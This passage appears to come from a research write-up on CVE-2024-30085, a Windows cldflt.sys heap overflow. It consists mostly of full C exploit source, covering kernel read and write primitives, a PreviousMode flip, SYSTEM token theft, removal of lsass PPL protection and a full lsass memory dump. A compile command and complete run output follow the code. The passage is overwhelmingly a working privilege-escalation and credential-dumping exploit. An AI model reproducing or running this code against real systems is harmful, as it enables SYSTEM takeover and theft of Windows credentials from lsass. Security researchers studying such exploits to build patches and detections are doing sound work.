                BOOL valid = TRUE;
                for (int j = 0; j < 15 && test_name[j]; j++) {
                    if (test_name[j] < 32 || test_name[j] >= 127) { valid = FALSE;
break; }
                }
                if (valid && test_name[0]) {
                    g_eprocess_addr = candidate;
                    printf("[+] EPROCESS: 0x%016llX (%s)\n", (unsigned long
long)candidate, test_name);
                    break;
                }
            }
        }
    }
    else {
        char name[16] = { 0 };
        ReadKernelBuffer(g_eprocess_addr + EPROCESS_IMAGEFILENAME_OFFSET, name, 15);
        printf("[+] EPROCESS: 0x%016llX (%s)\n", (unsigned long long)g_eprocess_addr,
name);
    }

    if (!IsKernelPointer(g_eprocess_addr)) {
        printf("[-] Could not find EPROCESS\n");
        return FALSE;
    }

    DWORD our_pid = GetCurrentProcessId();
```

```
    printf("[*] Our PID: %lu\n", our_pid);

    ULONG64 current = g_eprocess_addr;
    ULONG64 start = g_eprocess_addr;
    int count = 0;

    do {
        BYTE chunk[0x180];
        if (!ReadKernelBuffer(current + 0x440, chunk, sizeof(chunk))) break;

        ULONG pid = *(ULONG*)(chunk + 0);
        ULONG64 flink = *(ULONG64*)(chunk + 8);
        ULONG64 token_raw = *(ULONG64*)(chunk + 0x78);
        char name[16] = { 0 };
        memcpy(name, chunk + 0x168, 15);

        ULONG64 token = token_raw & ~0xFULL;

        if (pid == 4) {
            g_system_eprocess = current;
            g_system_token = token;
            g_system_token_raw = token_raw;
            printf("[+] SYSTEM EPROCESS: 0x%016llX\n", (unsigned long long)current);
            printf("[+] SYSTEM Token: 0x%016llX (raw: 0x%016llX)\n",
                (unsigned long long)token, (unsigned long long)token_raw);
        }
        if (pid == our_pid) {
            g_our_eprocess = current;
            g_our_token = token;
            printf("[+] Our EPROCESS: 0x%016llX\n", (unsigned long long)current);
            printf("[+] Our Token: 0x%016llX\n", (unsigned long long)token);
        }
        if (_stricmp(name, "winlogon.exe") == 0) {
            g_winlogon_pid = pid;
            printf("[+] Winlogon PID: %lu\n", pid);
        }
        if (_stricmp(name, "lsass.exe") == 0) {
            g_lsass_eprocess = current;
            g_lsass_pid = pid;
            printf("[+] Lsass EPROCESS: 0x%016llX (PID: %lu)\n",
                (unsigned long long)current, pid);
        }

        if (g_system_eprocess && g_our_eprocess && g_winlogon_pid && g_lsass_eprocess)
break;
        if (!IsKernelPointer(flink)) break;

        current = flink - EPROCESS_ACTIVEPROCESSLINKS_OFFSET;
        if (current == start) break;
        count++;
    } while (count < 500);

    if (!g_system_eprocess || !g_our_eprocess) {
        printf("[-] Failed to find required processes\n");
        return FALSE;
    }
```

```
    if (!IsKernelPointer(g_system_token) || !IsKernelPointer(g_our_token)) {
        printf("[-] Token values don't look valid\n");
        printf("    System token raw: 0x%016llX\n", (unsigned long
long)g_system_token);
        printf("    Our token raw: 0x%016llX\n", (unsigned long long)g_our_token);
        return FALSE;
    }

    if (g_winlogon_pid == 0) {
        printf("[-] Warning: winlogon.exe not found during walk\n");
    }

    if (!g_lsass_eprocess || g_lsass_pid == 0) {
        printf("[-] lsass.exe not found during EPROCESS walk\n");
        return FALSE;
    }

    BYTE protection_scan[0x20] = { 0 };
    ReadKernelBuffer(g_lsass_eprocess + 0x870, protection_scan, 0x20);
    BYTE lsass_protection = protection_scan[EPROCESS_PROTECTION_OFFSET - 0x870];
    printf("[+] Lsass PS_PROTECTION: 0x%02X (Type=%u, Audit=%u, Signer=%u)\n",
        lsass_protection,
        lsass_protection & 0x7, (lsass_protection >> 3) & 0x1, (lsass_protection >> 4)
& 0xF);

    if (lsass_protection == 0x00) {
        printf("[!] Warning: Lsass Protection already cleared (PPL not active)\n");
    }

    printf("\n[*] KTHREAD: 0x%016llX\n", (unsigned long long)g_our_kthread);

    BYTE kthread_probe[16] = { 0 };
    if (!ReadKernelBuffer(g_our_kthread + KTHREAD_PREVIOUSMODE_OFFSET, kthread_probe,
16)) {
        printf("[-] Failed to read KTHREAD+0x%X\n", KTHREAD_PREVIOUSMODE_OFFSET);
        return FALSE;
    }

    printf("[+] PreviousMode: 0x%02X (%s)\n",
        kthread_probe[0], kthread_probe[0] == 1 ? "UserMode" : "UNEXPECTED");

    if (kthread_probe[0] != 0x01) {
        printf("[-] PreviousMode verification FAILED\n");
        return FALSE;
    }

    printf("[+] Stage 21 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 22: FLIP PREVIOUSMODE (KTHREAD+0x232)
//============================================================================

static BOOL Stage22_FlipPreviousMode(void) {
```

```
    printf("\n=======================================\n");
    printf("    STAGE 22: FLIP PREVIOUSMODE\n");
    printf("=======================================\n");

    if (g_victim_index == -1 || g_our_kthread == 0 ||
        g_alpc_handle_table_addr == 0) {
        printf("[-] Missing prerequisites for PreviousMode flip\n");
        return FALSE;
    }

    ULONG64 target_addr = g_our_kthread + KTHREAD_PREVIOUSMODE_OFFSET;
    printf("[*] Target: KTHREAD+0x%X (0x%016llX)\n",
        KTHREAD_PREVIOUSMODE_OFFSET, (unsigned long long)target_addr);

    if (!ReadKernelBuffer(target_addr, g_kthread_pre_read, 16)) {
        printf("[-] Failed to pre-read KTHREAD+0x%X\n", KTHREAD_PREVIOUSMODE_OFFSET);
        return FALSE;
    }

    printf("[*] PreviousMode BEFORE: 0x%02X (%s)\n",
        g_kthread_pre_read[0], g_kthread_pre_read[0] == 1 ? "UserMode" : "UNEXPECTED");

    if (g_kthread_pre_read[0] != 0x01) {
        printf("[-] PreviousMode is not 1 (UserMode) -- aborting to prevent BSOD\n");
        return FALSE;
    }

    g_fake_kalpc_reserve_object = (BYTE*)VirtualAlloc(NULL,
        sizeof(KALPC_RESERVE) + 0x20, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    g_fake_kalpc_message_object = (BYTE*)VirtualAlloc(NULL,
        sizeof(KALPC_MESSAGE) + 0x20, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!g_fake_kalpc_reserve_object || !g_fake_kalpc_message_object) {
        printf("[-] Memory allocation failed\n");
        return FALSE;
    }

    *(ULONG64*)(g_fake_kalpc_reserve_object + 0x00) = 0x0000000000000700;
    *(ULONG64*)(g_fake_kalpc_reserve_object + 0x08) = 0x0000000000000001;
    *(ULONG64*)(g_fake_kalpc_message_object + 0x08) = 0x0000000000000001;

    g_fake_kalpc_reserve = (KALPC_RESERVE*)(g_fake_kalpc_reserve_object + 0x20);
    g_fake_kalpc_message = (KALPC_MESSAGE*)(g_fake_kalpc_message_object + 0x20);

    g_fake_kalpc_reserve->Size = 0x28;
    g_fake_kalpc_reserve->Message = g_fake_kalpc_message;
    g_fake_kalpc_message->Reserve = g_fake_kalpc_reserve;
    g_fake_kalpc_message->ExtensionBuffer = (PVOID)target_addr;
    g_fake_kalpc_message->ExtensionBufferSize = 0x10;

    printf("[*] Corrupting KALPC handle table via WNF OOB write...\n");

    auto overflow_data = std::make_unique<BYTE[]>(0xFF8);
    memset(overflow_data.get(), 0, 0xFF8);
    memset(overflow_data.get(), 0x48, 0x200);
    *(ULONG64*)(overflow_data.get() + 0xFF0) = (ULONG64)g_fake_kalpc_reserve;
```

```
    NTSTATUS status = g_NtUpdateWnfStateData(
        &g_wnf_names[g_victim_index],
        overflow_data.get(), 0xFF8, NULL, NULL, CHANGE_STAMP_FIRST, 0
    );

    if (status != 0) {
        printf("[-] WNF update failed: 0x%08X\n", status);
        return FALSE;
    }

    printf("[*] Sending ALPC write to flip PreviousMode -> 0...\n");

    ALPC_MESSAGE alpc_message;
    memset(&alpc_message, 0, sizeof(alpc_message));
    alpc_message.PortHeader.u1.s1.DataLength = 0x10;
    alpc_message.PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + 0x10;
    alpc_message.PortHeader.MessageId = (ULONG)(ULONG_PTR)g_saved_reserve_handle;

    BYTE* pData = (BYTE*)&alpc_message + sizeof(PORT_MESSAGE);
    memcpy(pData, g_kthread_pre_read, 16);
    pData[0] = 0x00;  // KernelMode

    for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
        if (g_alpc_ports[i] == NULL) continue;
        g_NtAlpcSendWaitReceivePort(g_alpc_ports[i], 0,
            (PPORT_MESSAGE)&alpc_message, NULL, NULL, NULL, NULL, NULL);
    }

    Sleep(100);

    BYTE post_read[16] = { 0 };
    if (!ReadKernelBuffer(target_addr, post_read, 16)) {
        printf("[-] Failed to read KTHREAD after flip\n");
        return FALSE;
    }

    printf("[*] PreviousMode AFTER:  0x%02X (%s)\n",
        post_read[0], post_read[0] == 0 ? "KernelMode" : "NOT FLIPPED");

    if (post_read[0] != 0x00) {
        printf("[-] PreviousMode not flipped (still 0x%02X) -- ALPC write failed\n",
post_read[0]);
        return FALSE;
    }

    printf("[+] PreviousMode FLIPPED to 0x00 (KernelMode)!\n");
    printf("[!] All subsequent syscalls bypass access checks\n");
    printf("[+] Stage 22 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 23: PREVIOUSMODE EXPLOITATION
//============================================================================
```

```
static BOOL Stage23_PreviousModeExploit(void) {
    printf("\n=======================================\n");
    printf("    STAGE 23: PREVIOUSMODE EXPLOIT\n");
    printf("=======================================\n");

    printf("[*] Executing PreviousMode=0 syscall sequence...\n");
    printf("[*] Plan: token steal + PPL strip + kernel repair + restore + dump
lsass\n");

    ULONG64 corrupted_pipe_flink_addr = 0;
    if (g_leaked_pipe_attr) {
        BYTE pipe_le[16] = { 0 };
        if (ReadKernelBuffer((ULONG64)g_leaked_pipe_attr, pipe_le, 16)) {
            ULONG64 blink = *(ULONG64*)(pipe_le + 8);
            if (IsKernelPointer(blink)) {
                corrupted_pipe_flink_addr = blink;
                printf("[*] Corrupted pipe attr at: 0x%016llX (will restore Flink)\n",
                    (unsigned long long)blink);
            }
        }
    }

    // ================================================================
    //  PHASE 1: PreviousMode=0 WINDOW
    // ================================================================

    BOOL phase1_ok = TRUE;
    NTSTATUS nt_status = 0;

    // Step A: Open System process (PID 4) with PROCESS_ALL_ACCESS
    OBJECT_ATTRIBUTES oa = {};
    oa.Length = sizeof(OBJECT_ATTRIBUTES);
    CLIENT_ID sys_cid = {};
    sys_cid.UniqueProcess = (HANDLE)(ULONG_PTR)4;

    HANDLE hSysProc = NULL;
    nt_status = g_NtOpenProcess(&hSysProc, PROCESS_ALL_ACCESS, &oa, &sys_cid);
    if (nt_status != 0) phase1_ok = FALSE;

    // Step B: Open System token with TOKEN_ALL_ACCESS
    HANDLE hSysToken = NULL;
    if (phase1_ok) {
        nt_status = g_NtOpenProcessTokenEx(hSysProc, TOKEN_ALL_ACCESS, 0, &hSysToken);
        if (nt_status != 0) phase1_ok = FALSE;
    }

    // Step C: Duplicate as impersonation token
    HANDLE hImpToken = NULL;
    if (phase1_ok) {
        SECURITY_QUALITY_OF_SERVICE sqos = {};
        sqos.Length = sizeof(sqos);
        sqos.ImpersonationLevel = SecurityImpersonation;

        OBJECT_ATTRIBUTES token_oa = {};
        token_oa.Length = sizeof(OBJECT_ATTRIBUTES);
        token_oa.SecurityQualityOfService = &sqos;
```

```
        nt_status = g_NtDuplicateToken(hSysToken, TOKEN_ALL_ACCESS,
            &token_oa, FALSE, TokenImpersonation, &hImpToken);
        if (nt_status != 0) phase1_ok = FALSE;
    }

    // Step D: Impersonate SYSTEM on our thread
    if (phase1_ok) {
        nt_status = g_NtSetInformationThread(
            (HANDLE)(LONG_PTR)-2,  // NtCurrentThread()
            5,                     // ThreadImpersonationToken
            &hImpToken, sizeof(HANDLE));
        if (nt_status != 0) phase1_ok = FALSE;
    }

    // Step E: Write SYSTEM token to our EPROCESS (identity swap)
    NTSTATUS token_write_status = (NTSTATUS)0xFFFFFFFF;
    if (phase1_ok) {
        ULONG64 system_token = g_system_token_raw;
        token_write_status = g_NtWriteVirtualMemory(
            (HANDLE)(LONG_PTR)-1,
            (PVOID)(g_our_eprocess + EPROCESS_TOKEN_OFFSET),
            &system_token, sizeof(ULONG64), NULL);
    }

    // Step F: Strip PPL protection from lsass (clear EPROCESS+0x87A)
    NTSTATUS ppl_write_status = (NTSTATUS)0xFFFFFFFF;
    if (phase1_ok) {
        BYTE zero_protection = 0x00;
        ppl_write_status = g_NtWriteVirtualMemory(
            (HANDLE)(LONG_PTR)-1,
            (PVOID)(g_lsass_eprocess + EPROCESS_PROTECTION_OFFSET),
            &zero_protection, 1, NULL);
    }

    // Step G: Restore corrupted pipe attribute Flink (prevents BSOD on exit)
    NTSTATUS pipe_restore_status = (NTSTATUS)0xFFFFFFFF;
    if (phase1_ok && corrupted_pipe_flink_addr != 0
        && IsKernelPointer(corrupted_pipe_flink_addr)) {
        ULONG64 original_flink = (ULONG64)g_leaked_pipe_attr;
        pipe_restore_status = g_NtWriteVirtualMemory(
            (HANDLE)(LONG_PTR)-1,
            (PVOID)corrupted_pipe_flink_addr,
            &original_flink, sizeof(ULONG64), NULL);
    }

    // ================================================================
    //  PHASE 2: Restore PreviousMode to 1 (UserMode)
    // ================================================================

    BYTE restore_val = 0x01;
    NTSTATUS write_status = g_NtWriteVirtualMemory(
        (HANDLE)(LONG_PTR)-1,  // NtCurrentProcess()
        (PVOID)(g_our_kthread + KTHREAD_PREVIOUSMODE_OFFSET),
        &restore_val, 1, NULL);
```

```
    // ================================================================
    //  PHASE 3: Post-restore (Win32 APIs safe again)
    // ================================================================

    BYTE post_restore[16] = { 0 };
    ReadKernelBuffer(g_our_kthread + KTHREAD_PREVIOUSMODE_OFFSET, post_restore, 16);

    printf("[+] PreviousMode restored: 0x%02X (%s)\n",
        post_restore[0], post_restore[0] == 1 ? "UserMode" : "STILL KERNEL!");

    if (post_restore[0] != 0x01) {
        printf("[!] CRITICAL: PreviousMode NOT restored! System may be unstable.\n");
    }

    if (!phase1_ok) {
        printf("[-] Phase 1 failed: 0x%08X\n", nt_status);
        if (hSysProc) g_NtClose(hSysProc);
        if (hSysToken) g_NtClose(hSysToken);
        if (hImpToken) g_NtClose(hImpToken);
        return FALSE;
    }

    printf("[+] NtOpenProcess(PID 4) + token dup + EPROCESS write: OK\n");
    printf("[+] Token write status: 0x%08X\n", token_write_status);
    printf("[+] PPL strip status:   0x%08X\n", ppl_write_status);
    printf("[+] Flink restore:      0x%08X%s\n", pipe_restore_status,
        pipe_restore_status == 0 ? " (kernel structures repaired)" : "");

    BYTE post_prot_scan[0x20] = { 0 };
    BOOL ppl_read_ok = ReadKernelBuffer(g_lsass_eprocess + 0x870, post_prot_scan,
0x20);
    if (ppl_read_ok) {
        BYTE post_protection = post_prot_scan[EPROCESS_PROTECTION_OFFSET - 0x870];
        printf("[+] Lsass PS_PROTECTION AFTER: 0x%02X (Type=%u, Audit=%u, Signer=%u) --
%s\n",
            post_protection,
            post_protection & 0x7, (post_protection >> 3) & 0x1, (post_protection >> 4)
& 0xF,
            post_protection == 0 ? "CLEARED!" : "STILL ACTIVE");
        if (post_protection != 0x00) {
            printf("[-] PPL strip may have failed -- proceeding anyway\n");
        }
    }
    else {
        printf("[*] Pipe read unavailable (Flink restored) -- PPL strip %s\n",
            ppl_write_status == 0 ? "confirmed by write status" : "UNCERTAIN");
    }

    HANDLE nullToken = NULL;
    g_NtSetInformationThread((HANDLE)(LONG_PTR)-2, 5, &nullToken, sizeof(HANDLE));

    g_NtClose(hSysToken);
    g_NtClose(hSysProc);
    g_NtClose(hImpToken);

    HANDLE hVerifyToken = NULL;
```

```
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hVerifyToken)) {
        BYTE tbuf[256];
        DWORD tlen = 0;
        if (GetTokenInformation(hVerifyToken, TokenUser, tbuf, sizeof(tbuf), &tlen)) {
            PSID tsid = ((TOKEN_USER*)tbuf)->User.Sid;
            LPWSTR tsidStr = NULL;
            if (ConvertSidToStringSidW(tsid, &tsidStr)) {
                printf("[+] Process token SID: %ls\n", tsidStr);
                LocalFree(tsidStr);
            }
        }
        CloseHandle(hVerifyToken);
    }
    else {
        printf("[-] OpenProcessToken failed: %lu\n", GetLastError());
    }

    // ================================================================
    //  PHASE 4: Dump Lsass (PPL stripped, running as SYSTEM)
    // ================================================================

    printf("\n[*] Opening lsass (PID: %lu) with PROCESS_ALL_ACCESS...\n", g_lsass_pid);
    HANDLE hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, g_lsass_pid);
    if (!hLsass) {
        printf("[-] OpenProcess(lsass PID %lu) failed: %lu\n",
            g_lsass_pid, GetLastError());
        return FALSE;
    }
    printf("[+] Lsass handle: 0x%p\n", hLsass);

    WCHAR dumpPath[MAX_PATH];
    GetTempPathW(MAX_PATH, dumpPath);
    wcscat_s(dumpPath, MAX_PATH, L"lsass_dump.dmp");

    printf("[*] Dump file: %ls\n", dumpPath);

    HANDLE hFile = CreateFileW(dumpPath, GENERIC_WRITE, 0, NULL,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFile failed: %lu\n", GetLastError());
        CloseHandle(hLsass);
        return FALSE;
    }

    printf("[*] Calling MiniDumpWriteDump (MiniDumpWithFullMemory)...\n");
    BOOL dump_ok = MiniDumpWriteDump(hLsass, g_lsass_pid, hFile,
        MiniDumpWithFullMemory, NULL, NULL, NULL);

    if (!dump_ok) {
        printf("[-] MiniDumpWriteDump failed: %lu\n", GetLastError());
        CloseHandle(hFile);
        CloseHandle(hLsass);
        return FALSE;
    }

    LARGE_INTEGER fileSize;
```

```
    GetFileSizeEx(hFile, &fileSize);

    CloseHandle(hFile);
    CloseHandle(hLsass);

    printf("[+] MiniDumpWriteDump succeeded!\n");
    printf("[+] Dump size: %llu bytes (%.2f MB)\n",
        (unsigned long long)fileSize.QuadPart,
        (double)fileSize.QuadPart / (1024.0 * 1024.0));

    printf("\n[+] ============================================\n");
    printf("[+]   LSASS DUMP COMPLETE!\n");
    printf("[+]   File: %ls\n", dumpPath);
    printf("[+]   Size: %.2f MB\n",
        (double)fileSize.QuadPart / (1024.0 * 1024.0));
    printf("[+]   Lsass PID: %lu\n", g_lsass_pid);
    printf("[+]   Method: PreviousMode + Token Steal + PPL Strip\n");
    printf("[+] ============================================\n");

    printf("[+] Stage 23 COMPLETE\n");
    return TRUE;
}

//============================================================================
// CLEANUP
//============================================================================

static void Cleanup(void) {
    printf("\n======================================\n");
    printf("    CLEANUP\n");
    printf("======================================\n");

    printf("[*] Skipping WNF deletions (pool corruption safety)\n");

    if (g_pipe_read && g_pipe_write) {
        for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
            if ((int)i == g_target_pipe_index) continue;
            if (g_pipe_read[i]) CloseHandle(g_pipe_read[i]);
            if (g_pipe_write[i]) CloseHandle(g_pipe_write[i]);
        }
    }

    SetFileAttributesW(g_filePath, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath);
    SetFileAttributesW(g_filePath_second, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath_second);
    if (g_syncRootPath[0]) CfUnregisterSyncRoot(g_syncRootPath);

    if (g_alpc_ports) {
        printf("[*] Closing %d ALPC ports...\n", ALPC_PORT_COUNT);
        for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
            if (g_alpc_ports[i]) { CloseHandle(g_alpc_ports[i]); g_alpc_ports[i] =
NULL; }
        }
        printf("[+] ALPC ports closed\n");
    }
```

```
    if (g_fake_kalpc_reserve_object) { VirtualFree(g_fake_kalpc_reserve_object, 0,
MEM_RELEASE); g_fake_kalpc_reserve_object = NULL; }
    if (g_fake_kalpc_message_object) { VirtualFree(g_fake_kalpc_message_object, 0,
MEM_RELEASE); g_fake_kalpc_message_object = NULL; }

    if (g_target_pipe_index >= 0 && g_pipe_read && g_pipe_write) {
        printf("[*] Closing target pipe (index %d)...\n", g_target_pipe_index);
        if (g_pipe_read[g_target_pipe_index])
CloseHandle(g_pipe_read[g_target_pipe_index]);
        if (g_pipe_write[g_target_pipe_index])
CloseHandle(g_pipe_write[g_target_pipe_index]);
        printf("[+] Target pipe closed\n");
    }

    printf("[+] Cleanup complete\n");
}

//==============================================================================
// MAIN
//==============================================================================

int wmain(void) {

printf("==============================================================================\n
");
    printf("  CVE-2024-30085 Exploit | PPL Bypass Edition (E5)\n");
    printf("  Privilege Escalation via cldflt.sys Heap-based Buffer Overflow\n");
    printf("  PreviousMode -> Token Steal + PPL Strip -> LSASS Dump\n");

printf("==============================================================================\n
");

    if (!InitializeNtdllFunctions() || !InitializeSyncRoot()) {
        printf("[-] Initialization failed\n");
        return -1;
    }

    if (!DiscoverKthreadEarly()) {
        printf("[-] KTHREAD discovery failed\n");
        return -1;
    }

    BOOL success = TRUE;

    if (success) success = Stage01_Defragmentation();
    if (success) success = Stage02_CreateWnfNames();
    if (success) success = Stage03_AlpcPorts();
    if (success) success = Stage04_UpdateWnfPaddingData();
    if (success) success = Stage05_UpdateWnfStateData();
    if (success) success = Stage06_CreateHoles();
    if (success) success = Stage07_PlaceOverflow();
    if (success) success = Stage08_TriggerOverflow();
    if (success) success = Stage09_AlpcReserves();
    if (success) success = Stage10_LeakKernelPointer();
```

```
    if (!g_leaked_kalpc) {
        printf("\n[-] FIRST WAVE FAILED - Try again\n");
        getchar();
        Cleanup();
        return -1;
    }

    printf("\n=== FIRST WAVE SUCCESS: Leaked 0x%p ===\n", g_leaked_kalpc);

    if (success) success = Stage11_CreatePipes();
    if (success) success = Stage12_SprayPipeAttributesClaim();
    if (success) success = Stage13_SecondWnfSpray();
    if (success) success = Stage14_CreateHolesSecond();
    if (success) success = Stage15_PlaceSecondOverflow();
    if (success) success = Stage16_TriggerSecondOverflow();
    if (success) success = Stage17_FillWithPipeAttributes();
    if (success) success = Stage18_FindSecondVictimAndLeakPipe();
    if (success) success = Stage19_SetupArbitraryRead();
    if (success) success = Stage20_ReadKernelMemory();

    if (success) success = Stage21_DiscoverProcesses();
    if (success) success = Stage22_FlipPreviousMode();
    if (success) success = Stage23_PreviousModeExploit();


printf("\n================================================================================
\n");
    printf("  %s\n", success ? "EXPLOIT SUCCESSFUL!" : "EXPLOIT INCOMPLETE");

printf("================================================================================\n
");

    printf("\n[*] Press ENTER to cleanup and exit...\n");
    getchar();
    Cleanup();

    return success ? 0 : -1;
}
```

This code can be compiled using Visual Studio 2022/2026 or Visual Studio Code, which demands a compilation like as follows:

- `cl.exe /nologo /W4 /O2 /TP /EHsc /D WIN32 /D _UNICODE /D UNICODE exploit_ppl_bypass_edition.c /link /OUT:exploit_ppl_bypass_edition.exe Cldapi.lib Dbghelp.lib ntdll.lib onecore.lib`

The output of the exploit is as follows:

```
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\aborges> whoami
desktop-31fh7lh\aborges
PS C:\Users\aborges>
PS C:\Users\aborges> cd C:\Users\aborges\Desktop\RESEARCH
```

```
PS C:\Users\aborges\Desktop\RESEARCH>
PS C:\Users\aborges\Desktop\RESEARCH> .\exploit_ppl_bypass_edition.exe
================================================================================
  CVE-2024-30085 Exploit | PPL Bypass Edition (E5)
  Privilege Escalation via cldflt.sys Heap-based Buffer Overflow
  PreviousMode -> Token Steal + PPL Strip -> LSASS Dump
================================================================================
[+] All ntdll functions resolved
[+] Sync root registered: C:\Users\aborges\AppData\Roaming\MySyncRoot
[*] Pre-discovering KTHREAD for PID=480 TID=7032
[+] KTHREAD: 0xFFFFA304B7569080 (will verify PreviousMode in Stage 21)

========================================
    STAGE 01: DEFRAGMENTATION
========================================
[+] Round 1: 5000/5000 pipes
[+] Round 2: 5000/5000 pipes
[+] Waiting for the memory to stabilize...
[+] Stage 01 COMPLETE

========================================
    STAGE 02: CREATE WNF NAMES
========================================
[+] Created 20480 padding WNF names
[+] Created 2048 actual WNF names
[+] Waiting for the memory to stabilize...
[+] Stage 02 COMPLETE

========================================
    STAGE 03: ALPC PORTS
========================================
[+] Created 2048 ALPC ports
[+] Waiting for the memory to stabilize...
[+] Stage 03 COMPLETE

========================================
    STAGE 04: UPDATE WNF PADDING DATA
========================================
[+] Updated padding WNF data
[+] Waiting for the memory to stabilize...
[+] Stage 04 COMPLETE

========================================
    STAGE 05: UPDATE WNF STATE DATA
========================================
[+] Updated 2048 actual WNF objects
[+] Waiting for the memory to stabilize...
[+] Stage 05 COMPLETE

========================================
    STAGE 06: CREATE HOLES
========================================
[+] Created 1024 holes
[+] Waiting for the memory to stabilize...
[+] Stage 06 COMPLETE

========================================
    STAGE 07: PLACE OVERFLOW BUFFER
========================================
[+] Reparse point set (ChangeStamp=0xC0DE)
```

```
[+] Stage 07 COMPLETE

=======================================
    STAGE 08: TRIGGER OVERFLOW
=======================================
[+] Overflow triggered (0x1010 bytes into 0x1000 buffer)
[+] Waiting for the memory to stabilize...
[+] Stage 08 COMPLETE

=======================================
    STAGE 09: ALPC RESERVES
=======================================
[+] Created 526336 total reserves
[+] Saved reserve handle: 0x0000000080000010
[+] Waiting for the memory to stabilize...
[+] Stage 09 COMPLETE

=======================================
    STAGE 10: LEAK KERNEL POINTER
=======================================
[+] Found victim WNF at index 737 (DataSize: 0xFF8)
[+] KERNEL POINTER LEAKED: 0xFFFF810FCDC6F570
[+] Stage 10 COMPLETE

=== FIRST WAVE SUCCESS: Leaked 0xFFFF810FCDC6F570 ===

=======================================
    STAGE 11: CREATE PIPES
=======================================
[+] Created 1536 pipe pairs
[+] Waiting for the memory to stabilize...
[+] Stage 11 COMPLETE

=======================================
    STAGE 12: SPRAY PIPE ATTRS (CLAIM)
=======================================
[+] Set 1536 pipe attributes
[+] Waiting for the memory to stabilize...
[+] Stage 12 COMPLETE

=======================================
    STAGE 13: SECOND WNF SPRAY
=======================================
[+] Created and updated 1536 second wave WNF
[+] Waiting for the memory to stabilize...
[+] Stage 13 COMPLETE

=======================================
    STAGE 14: CREATE HOLES (SECOND)
=======================================
[+] Created 768 holes
[+] Waiting for the memory to stabilize...
[+] Stage 14 COMPLETE

=======================================
    STAGE 15: PLACE SECOND OVERFLOW
=======================================
[+] Reparse point set (ChangeStamp=0xDEAD)
[+] Stage 15 COMPLETE
```

```
========================================
    STAGE 16: TRIGGER SECOND OVERFLOW
========================================
[+] Second overflow triggered
[+] Waiting for the memory to stabilize...
[+] Stage 16 COMPLETE

========================================
    STAGE 17: FILL WITH PIPE ATTRS
========================================
[+] Set 1536 large pipe attributes
[+] Waiting for the memory to stabilize...
[+] Stage 17 COMPLETE

========================================
    STAGE 18: FIND VICTIM & LEAK PIPE
========================================
[+] Found second victim WNF at index 1
[+] PIPE_ATTRIBUTE LEAKED: 0xFFFF810FCC604BD0
[+] Stage 18 COMPLETE

========================================
    STAGE 19: SETUP ARBITRARY READ
========================================
[+] Fake pipe_attr at: 0x00007FF65441CA40
[+] pipe_attribute->Flink corrupted
[+] Stage 19 COMPLETE

========================================
    STAGE 20: READ KERNEL MEMORY
========================================
[+] Found target pipe at index 0
[*] KALPC_RESERVE:
    +0x00: 0xFFFFA304B77ACA40
    +0x08: 0xFFFF810FB839AC08
    +0x10: 0x0000000000000010
    +0x18: 0xFFFF810FAAB6DB20
[+] Arbitrary READ primitive established!
[+] Stage 20 COMPLETE

========================================
    STAGE 21: DISCOVER PROCESSES
========================================
[+] ALPC_PORT: 0xFFFFA304B77ACA40
[+] EPROCESS: 0xFFFFA304B92240C0 (exploit_ppl_by)
[*] Our PID: 480
[+] Our EPROCESS: 0xFFFFA304B92240C0
[+] Our Token: 0xFFFF810FAAC31060
[+] SYSTEM EPROCESS: 0xFFFFA304B2CBF040
[+] SYSTEM Token: 0xFFFF810FA8467760 (raw: 0xFFFF810FA8467769)
[+] Winlogon PID: 760
[+] Lsass EPROCESS: 0xFFFFA304B5BEE080 (PID: 812)
[+] Lsass PS_PROTECTION: 0x00 (Type=0, Audit=0, Signer=0)
[!] Warning: Lsass Protection already cleared (PPL not active)

[*] KTHREAD: 0xFFFFA304B7569080
[+] PreviousMode: 0x01 (UserMode)
[+] Stage 21 COMPLETE

========================================
```

```
    STAGE 22: FLIP PREVIOUSMODE
======================================
[*] Target: KTHREAD+0x232 (0xFFFFA304B75692B2)
[*] PreviousMode BEFORE: 0x01 (UserMode)
[*] Corrupting KALPC handle table via WNF OOB write...
[*] Sending ALPC write to flip PreviousMode -> 0...
[*] PreviousMode AFTER:  0x00 (KernelMode)
[+] PreviousMode FLIPPED to 0x00 (KernelMode)!
[!] All subsequent syscalls bypass access checks
[+] Stage 22 COMPLETE

======================================
    STAGE 23: PREVIOUSMODE EXPLOIT
======================================
[*] Executing PreviousMode=0 syscall sequence...
[*] Plan: token steal + PPL strip + kernel repair + restore + dump lsass
[*] Corrupted pipe attr at: 0xFFFF810FD2EE8000 (will restore Flink)
[+] PreviousMode restored: 0x00 (STILL KERNEL!)
[+] NtOpenProcess(PID 4) + token dup + EPROCESS write: OK
[+] Token write status: 0x00000000
[+] PPL strip status:   0x00000000
[+] Flink restore:      0x00000000 (kernel structures repaired)
[*] Pipe read unavailable (Flink restored) -- PPL strip confirmed by write status
[+] Process token SID: S-1-5-18

[*] Opening lsass (PID: 812) with PROCESS_ALL_ACCESS...
[+] Lsass handle: 0x000000000000820C
[*] Dump file: C:\Users\aborges\AppData\Local\Temp\lsass_dump.dmp
[*] Calling MiniDumpWriteDump (MiniDumpWithFullMemory)...
[+] MiniDumpWriteDump succeeded!
[+] Dump size: 66640104 bytes (63.55 MB)

[+] ============================================
[+]   LSASS DUMP COMPLETE!
[+]   File: C:\Users\aborges\AppData\Local\Temp\lsass_dump.dmp
[+]   Size: 63.55 MB
[+]   Lsass PID: 812
[+]   Method: PreviousMode + Token Steal + PPL Strip
[+] ============================================
[+] Stage 23 COMPLETE

================================================================================
  EXPLOIT SUCCESSFUL!
================================================================================

[*] Press ENTER to cleanup and exit...


======================================
    CLEANUP
======================================
